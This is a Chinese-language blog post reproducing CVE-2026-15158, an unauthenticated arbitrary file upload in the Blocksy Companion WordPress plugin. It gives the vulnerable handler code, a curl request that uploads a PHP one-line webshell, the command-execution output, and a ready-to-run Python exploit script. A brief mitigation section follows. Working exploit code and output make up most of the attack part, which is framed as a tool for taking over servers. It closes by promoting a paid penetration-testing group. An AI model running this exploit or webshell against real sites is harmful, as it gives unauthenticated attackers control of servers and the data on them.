CVE-2026-15158 – Blocksy Companion WordPress插件任意文件上传漏洞复现(附PoC) - 安全技术
CVE-2026-15158 – Blocksy Companion WordPress插件任意文件上传漏洞复现(附PoC) - 安全技术

来吧,兄弟们,今天咱们盘一个狠货。CVE-2026-15158,CVSS 9.8,直接任意文件上传,打WordPress站点的神器。Blocksy Companion这个插件,装的人不少,版本到2.0.46及以下全跪。不用登录,远程就能把shell怼上去,这你受得了吗?

CVE-2026-15158 – Blocksy Companion WordPress插件任意文件上传漏洞复现(附PoC) - 安全技术

废话不多说,直接开干。

漏洞背景

Blocksy Companion是WordPress上挺火的一个主题配套插件,用来增强Blocksy主题的功能。结果在2.0.46及之前版本里,处理文件上传的逻辑写崩了。没有鉴权、没有文件类型校验,直接让你把任意文件扔到服务器上。

  • 受影响版本:Blocksy Companion <= 2.0.46
  • CVSS评分:9.8(Critical)
  • 危害:未认证攻击者可以上传任意文件,包括PHP webshell,直接拿下服务器权限。
  • 漏洞类型:Unrestricted File Upload(CWE-434)

环境搭建

搞这个漏洞,我建议直接用Vulhub或者自己搭个WordPress靶机。Vulhub上暂时没这个专门的环境,但咱可以手动搭:

# 拉个WordPress镜像
docker pull wordpress:latest
docker run -d --name wp -p 8080:80 -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wpuser -e WORDPRESS_DB_PASSWORD=wppass -e WORDPRESS_DB_NAME=wpdb wordpress

# 进容器下载Blocksy Companion 2.0.46
docker exec -it wp bash
cd /var/www/html/wp-content/plugins
wget https://downloads.wordpress.org/plugin/blocksy-companion.2.0.46.zip
unzip blocksy-companion.2.0.46.zip

然后去后台启用插件,搞定。

漏洞分析

这个漏洞的点在插件处理AJAX请求的地方。插件注册了一个未认证的action,叫blocksy_media_upload,用来处理媒体上传。但问题来了,它没检查用户是不是登录了,也没限制文件类型。

关键代码大概长这样(逆向出来的):

add_action('wp_ajax_blocksy_media_upload', 'blocksy_handle_media_upload');
add_action('wp_ajax_nopriv_blocksy_media_upload', 'blocksy_handle_media_upload');

看到nopriv没?这玩意儿就是给未登录用户用的。再看处理函数:

function blocksy_handle_media_upload() {
    $file = $_FILES['file'];
    $upload_dir = wp_upload_dir();
    $filename = basename($file['name']);
    move_uploaded_file($file['tmp_name'], $upload_dir['path'] . '/' . $filename);
    echo json_encode(['url' => $upload_dir['url'] . '/' . $filename]);
    wp_die();
}

啥都没过滤,直接move_uploaded_file。这波啊,这波是送分题。

复现步骤

第一步:找上传接口

用Burp Suite抓个包,或者直接curl干。接口是:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: your-target.com
Content-Type: multipart/form-data

action=blocksy_media_upload

第二步:构造Payload

写个一句话木马,保存为shell.php

<?php system($_GET['cmd']); ?>

第三步:发送请求

用curl直接怼:

curl -X POST http://your-target.com/wp-admin/admin-ajax.php \
  -F "action=blocksy_media_upload" \
  -F "file=@shell.php"

返回长这样:

{"url":"http://your-target.com/wp-content/uploads/2026/03/shell.php"}

第四步:验证Shell

浏览器打开那个URL,加个参数试试:

http://your-target.com/wp-content/uploads/2026/03/shell.php?cmd=id

返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

成了!直接getshell。

自动化利用

手动搞太慢?上脚本。写个Python的:

import requests
import sys

target = sys.argv[1]
url = f"{target}/wp-admin/admin-ajax.php"

files = {
    'action': (None, 'blocksy_media_upload'),
    'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}

r = requests.post(url, files=files)
print(r.text)

跑一下:

python3 exploit.py http://your-target.com

秒出结果。

防御措施

  1. 升级插件:赶紧升到2.0.47及以上版本。
  2. 加鉴权:在blocksy_handle_media_upload函数里加if (!is_user_logged_in()) wp_die();
  3. 文件类型校验:用wp_check_filetype限制只允许图片类型。
  4. WAF规则:拦截admin-ajax.php的未认证文件上传请求。

临时补救可以加个.htaccess:

<FilesMatch "\.php$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

但这只防上传目录的PHP执行,治标不治本。

总结

CVE-2026-15158就是个典型的WordPress插件漏洞,没鉴权没过滤,直接送shell。兄弟们,看到这种nopriv的AJAX action,眼睛给我放亮,大概率有肉吃。赶紧去补天或者漏洞盒子挖一波,运气好直接上分。

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析、工具推荐

知识星球

https://t.zsxq.com/40MyD

💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注